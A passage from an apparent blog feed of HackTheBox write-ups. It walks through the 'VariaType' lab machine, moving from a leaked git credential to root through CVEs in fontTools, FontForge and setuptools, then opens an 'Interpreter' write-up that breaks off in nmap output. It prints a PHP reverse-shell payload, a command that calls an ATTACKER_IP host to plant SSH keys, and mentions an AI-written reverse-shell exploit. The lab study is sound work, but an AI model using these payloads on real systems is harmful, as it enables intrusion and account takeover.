&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Date: Fri Dec &lt;span class="m"&gt;5&lt;/span&gt; 15:57:57 &lt;span class="m"&gt;2025&lt;/span&gt; -0500
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; feat: initial portal implementation
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I can see a master list of diffs by running &lt;code&gt;git log -p&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d &lt;span class="o"&gt;(&lt;/span&gt;HEAD -&amp;gt; master&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Author: Dev Team &amp;lt;dev@variatype.htb&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Date: Fri Dec &lt;span class="m"&gt;5&lt;/span&gt; 15:59:33 &lt;span class="m"&gt;2025&lt;/span&gt; -0500
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; fix: add gitbot user &lt;span class="k"&gt;for&lt;/span&gt; automated validation pipeline
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;diff --git a/auth.php b/auth.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;index 615e621..b328305 &lt;span class="m"&gt;100644&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--- a/auth.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+++ b/auth.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;@@ -1,3 +1,5 @@
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;?php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; session_start&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-&lt;span class="nv"&gt;$USERS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+&lt;span class="nv"&gt;$USERS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+ &lt;span class="s1"&gt;&amp;#39;gitbot&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&amp;gt; &lt;span class="s1"&gt;&amp;#39;G1tB0t_Acc3ss_2025!&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;commit 5030e791b764cb2a50fcb3e2279fea9737444870
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Author: Dev Team &amp;lt;dev@variatype.htb&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Date: Fri Dec &lt;span class="m"&gt;5&lt;/span&gt; 15:57:57 &lt;span class="m"&gt;2025&lt;/span&gt; -0500
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; feat: initial portal implementation
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;diff --git a/auth.php b/auth.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;new file mode &lt;span class="m"&gt;100644&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;index 0000000..615e621
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Immediately, a user credential stands out. I&amp;rsquo;ll try this on the recently discovered &lt;code&gt;portal.variatype.htb&lt;/code&gt;. I&amp;rsquo;m met with the dashboard:
&lt;img src="variatype_portal_dashboard.png" alt=""&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Great, it looks like I can see where files are uploaded! I&amp;rsquo;ll fuzz &lt;code&gt;portal.variatype.htb&lt;/code&gt; with the new session cookie to see if I can find anything new, or just to be able to browse the files I fuzzed earlier, like &lt;code&gt;/view.php&lt;/code&gt;:
&lt;img src="view.php.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;Once I find a way to upload a file, I&amp;rsquo;ll see how I can pass in a file as an argument to view.php. The main website mentions: &amp;ldquo;We use the same fonttools engine used by Google Fonts and major foundries.&amp;rdquo; I&amp;rsquo;m going to just search for vulnerabilities on the internet related to fontTools engine. &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66034"&gt;CVE-2025-66034&lt;/a&gt; is most of the results I get. Specifically, a malicious .designspace file can lead to an arbitrary file write that results in RCE: &amp;ldquo;The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main()&amp;rdquo; (NIST). I&amp;rsquo;ll use&lt;a href="https://github.com/v3cn4x00/POC-CVE-2025-66034"&gt; this GitHub PoC&lt;/a&gt; written by v3cn4x00 to complete the exploit.&lt;/p&gt;
&lt;h1 id="foothold"&gt;Foothold&lt;/h1&gt;
&lt;p&gt;This exploit requires a few non-trivial things. First, we need a &amp;ldquo;WEBROOT,&amp;rdquo; the filesystem path where output files are written, which the PoC refers to as WEBROOT. Perhaps the comment we found earlier in &lt;code&gt;styles.css&lt;/code&gt; can give us a clue, so initially I selected &lt;code&gt;/var/www/dev.variatype.htb/&lt;/code&gt; as the world-writeable path (where our malicious &lt;code&gt;.php&lt;/code&gt; will be stored). Inspecting an exposed &lt;code&gt;dashboard.php&lt;/code&gt; revealed a different path, though.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Specifying a Web Path&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Our found file, &amp;lsquo;dashboard.php&amp;rsquo; can be downloaded using the &lt;code&gt;f=&lt;/code&gt; parameter to see the internal PHP. This reveals where our malicious payload can be stored so that it can be executed from the dashboard (what the PoC automates): &lt;code&gt;/var/www/portal.variatype.htb/public&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The Proof of Concept will inject an XML payload into the .designspace file via a &lt;a href="https://cwe.mitre.org/data/definitions/91.html"&gt;&amp;ldquo;CDATA split&amp;rdquo;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;labelname&lt;/span&gt; &lt;span class="na"&gt;xml:lang=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;en&amp;#34;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;![CDATA[{php_payload}]]]]&amp;gt;&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/labelname&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&amp;hellip;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;php_payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;?php &amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;$s=fsockopen(&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;&amp;#34;,&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;);&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;$d=array(0=&amp;gt;$s,1=&amp;gt;$s,2=&amp;gt;$s);&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;proc_open(&amp;#34;/bin/bash -i&amp;#34;,$d,$p);&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;?&amp;gt;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and upload it to our set parameter of the upload path &lt;code&gt;tools/variable-font-generator/process&lt;/code&gt;. Then, it&amp;rsquo;ll execute the uploaded payload by &lt;em&gt;navigating to the web path&lt;/em&gt; of the portal via the LFI vulnerability, simultaneously opening a listener on a specified port. I then had a primitive shell on the target machine.
&lt;img src="primitive_shell.png" alt=""&gt;&lt;/p&gt;
&lt;h1 id="user-privilege-escalation"&gt;User Privilege Escalation&lt;/h1&gt;
&lt;p&gt;Reading &lt;code&gt;/etc/passwd&lt;/code&gt; gave us a list of system users including users that one can actually login with. &lt;code&gt;steve&lt;/code&gt; stands out.&lt;/p&gt;
&lt;p&gt;I didn&amp;rsquo;t find anything related to steve through linpeas enumeration except for a backup file owned by the user which, judging by its header, is our smoking gun for this privesc:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="ch"&gt;#!/bin/bash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Variatype Font Processing Pipeline&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Author: Steve Rodriguez &amp;lt;steve@variatype.htb&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Only accepts filenames with letters, digits, dots, hyphens, and underscores.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It mentions a couple of important things like the extensions that it accepts:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;EXTENSIONS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;*.ttf&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;*.otf&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;*.woff&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;*.woff2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;*.zip&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;*.tar&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;*.tar.gz&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;*.sfd&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It also tells us the location of the local FontForge binary:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fontforge&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fontforge&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;lang&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;which when ran exposes its version number: &lt;code&gt;Version: 20230101&lt;/code&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;A Google search for &amp;ldquo;fontforge 20230101 cve zip&amp;rdquo; turns up &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2024-25081"&gt;CVE-2024-25081&lt;/a&gt; ,which allows command injection via crafted filenames. It also has a companion CVE-2024-25082.
&lt;img src="redhat_advisory.png" alt=""&gt;
&lt;em&gt;&lt;a href="https://access.redhat.com/errata/RHSA-2024:4267"&gt;Source&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Two Bugs, Two Different Contexts!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;While both taking advantage of FontForge&amp;rsquo;s lack of proper filename sanitization, it&amp;rsquo;s CVE-2024-25082 that leverages steve&amp;rsquo;s &lt;code&gt;process_client_submissions.bak&lt;/code&gt;&amp;rsquo;s explicit check for archival types, where it references a vulnerability where filenames &lt;em&gt;inside&lt;/em&gt; an archive are read, rather than 25081&amp;rsquo;s direct filename. Further, it&amp;rsquo;s the regex check in this backup file that prevents CVE-2024-25081 from working, where 25082 allows for easy sidestepping of steve&amp;rsquo;s manual sanitization.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Claude Sonnet 4.6 wrote an excellent proof of concept exploit inspired by &lt;a href="https://sploitus.com/exploit?id=1134A0B1-631D-58C1-8B67-4C5C5AC1661E"&gt;this PoC by Sploitus&lt;/a&gt;, opting instead for a more direct reverse shell call but passed through base64, unpacked and executed upon its zip extraction. You can view the proof of concept script here: &lt;a href="https://gist.github.com/mdunn99/bc6a26775aedb65eb11102adedf87178"&gt;https://gist.github.com/mdunn99/bc6a26775aedb65eb11102adedf87178&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The payload archive generated from this script will be put in &lt;code&gt;UPLOAD_DIR&lt;/code&gt; (&lt;code&gt;/var/www/portal.variatype.htb/public/files&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Assuming that there&amp;rsquo;s a script that acts like &lt;code&gt;process_client_submissions.bak&lt;/code&gt;, FontForge reads the entry names from archives in &lt;code&gt;UPLOAD_DIR&lt;/code&gt;, and from their internal metadata constructs a shell command using the contents&amp;rsquo; filenames without sanitization. &amp;ldquo;Because &lt;code&gt;$file&lt;/code&gt; is interpolated directly into a bash double-quoted string, the shell evaluates the $(&amp;hellip;) subshell construct in our malicious entry name before FontForge ever attempts to open anything — executing our decoded reverse shell payload.&amp;rdquo; (Claude Sonnet 4.6)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; log &lt;span class="s2"&gt;&amp;#34;Processing submission: &lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; timeout &lt;span class="m"&gt;30&lt;/span&gt; /usr/local/src/fontforge/build/bin/fontforge -lang&lt;span class="o"&gt;=&lt;/span&gt;py -c &lt;span class="s2"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After about a minute, we catch a reverse shell for steve and obtain the flag.&lt;/p&gt;
&lt;h1 id="root-privilege-escalation"&gt;Root Privilege Escalation&lt;/h1&gt;
&lt;p&gt;Steve&amp;rsquo;s crontab confirms that his private copy of the backup file, &lt;code&gt;process_client_submissions.sh&lt;/code&gt; is run every two minutes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;*/2 * * * * /home/steve/bin/process_client_submissions.sh &amp;gt;/dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Also, running &lt;code&gt;diff&lt;/code&gt; on the backup and Steve&amp;rsquo;s bin script show that the exposed backup file is the exact same as the live binary.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; ran as &lt;code&gt;steve&lt;/code&gt; shows that this user can run &lt;code&gt;/opt/font-tools/install_validator.py&lt;/code&gt; with no password needed. This script explains itself as a way to grab a Python file (with certain requirements) from a URL and put it in &lt;code&gt;validators&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;User steve may run the following commands on variatype:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This script is a &amp;ldquo;Font Validator Plugin Installer&amp;rdquo;, where plugins at a specified URL are added (with root privileges) to &lt;code&gt;/opt/font-tools/validators&lt;/code&gt;. I decided to check out the import headers of the &lt;code&gt;install_validator.py&lt;/code&gt; and their versions using &lt;code&gt;pip list&lt;/code&gt; to see if there were any easy exploits:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;setuptools.package_index&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;PackageIndex&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;setuptools&lt;/span&gt; &lt;span class="mf"&gt;78.1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Searching for exploits related to PackageIndex in setuptools version 78.1.0 presented an arbitrary file write vulnerability using path traversal: &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2025-47273"&gt;CVE-2025-47273&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This &lt;a href="https://github.com/AliElKhatteb/CVE-2025-47273-POC"&gt;PoC written by AliElKhatteb&lt;/a&gt; will take a public key (which can be generated with &lt;code&gt;ssh-keygen&lt;/code&gt;) renamed as &lt;code&gt;authorized_keys&lt;/code&gt;and leverage the script&amp;rsquo;s ability to pull from any file server and place it in &lt;code&gt;root&lt;/code&gt;&amp;rsquo;s &lt;code&gt;.ssh&lt;/code&gt; directory so that &lt;code&gt;root&lt;/code&gt; ssh can be authenticated with the private key generated on the target machine:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo python3 /path/to/vulnerable_script.py &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;http://&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ATTACKER_IP&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/%2f&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TARGET_USER&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;%2f.ssh%2fauthorized_keys#egg=evil-1.0&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;root&lt;/code&gt; UID was then established on the target machine and the flag was obtained.&lt;/p&gt;</description></item><item><title>HackTheBox Writeup - "Interpreter"</title><link>https://mdunn99.com/posts/interpreter-htb/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://mdunn99.com/posts/interpreter-htb/</guid><description>&lt;p&gt;This assessment followed a black-box approach. Interpreter is a medium &lt;a href="https://app.hackthebox.com/machines/Interpreter"&gt;HTB machine&lt;/a&gt; running a vulnerable version of Mirth Connect, an open-source healthcare integration engine. This post covers CVE exploitation for initial foothold, hash analysis and cracking for lateral movement, and Python f-string injection via a locally hosted API server for root privilege escalation.&lt;/p&gt;
&lt;h1 id="reconnaissance"&gt;Reconnaissance&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;mike㉿thinkpad&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─$ nmap -sC -sV 10.129.25.113
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2026-04-03 16:49 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 10.129.25.113
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.071s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Not shown: &lt;span class="m"&gt;997&lt;/span&gt; closed tcp ports &lt;span class="o"&gt;(&lt;/span&gt;reset&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 &lt;span class="o"&gt;(&lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;256&lt;/span&gt; 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ &lt;span class="m"&gt;256&lt;/span&gt; fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;80/tcp open http Jetty
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-methods:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ Potentially risky methods: TRACE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-title: Mirth Connect Administrator
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;443/tcp open ssl/http Jetty
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-methods:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ Potentially risky methods: TRACE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; ssl-cert: Subject: &lt;span class="nv"&gt;commonName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;mirth-connect
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Not valid before: 2025-09-19T12:50:05
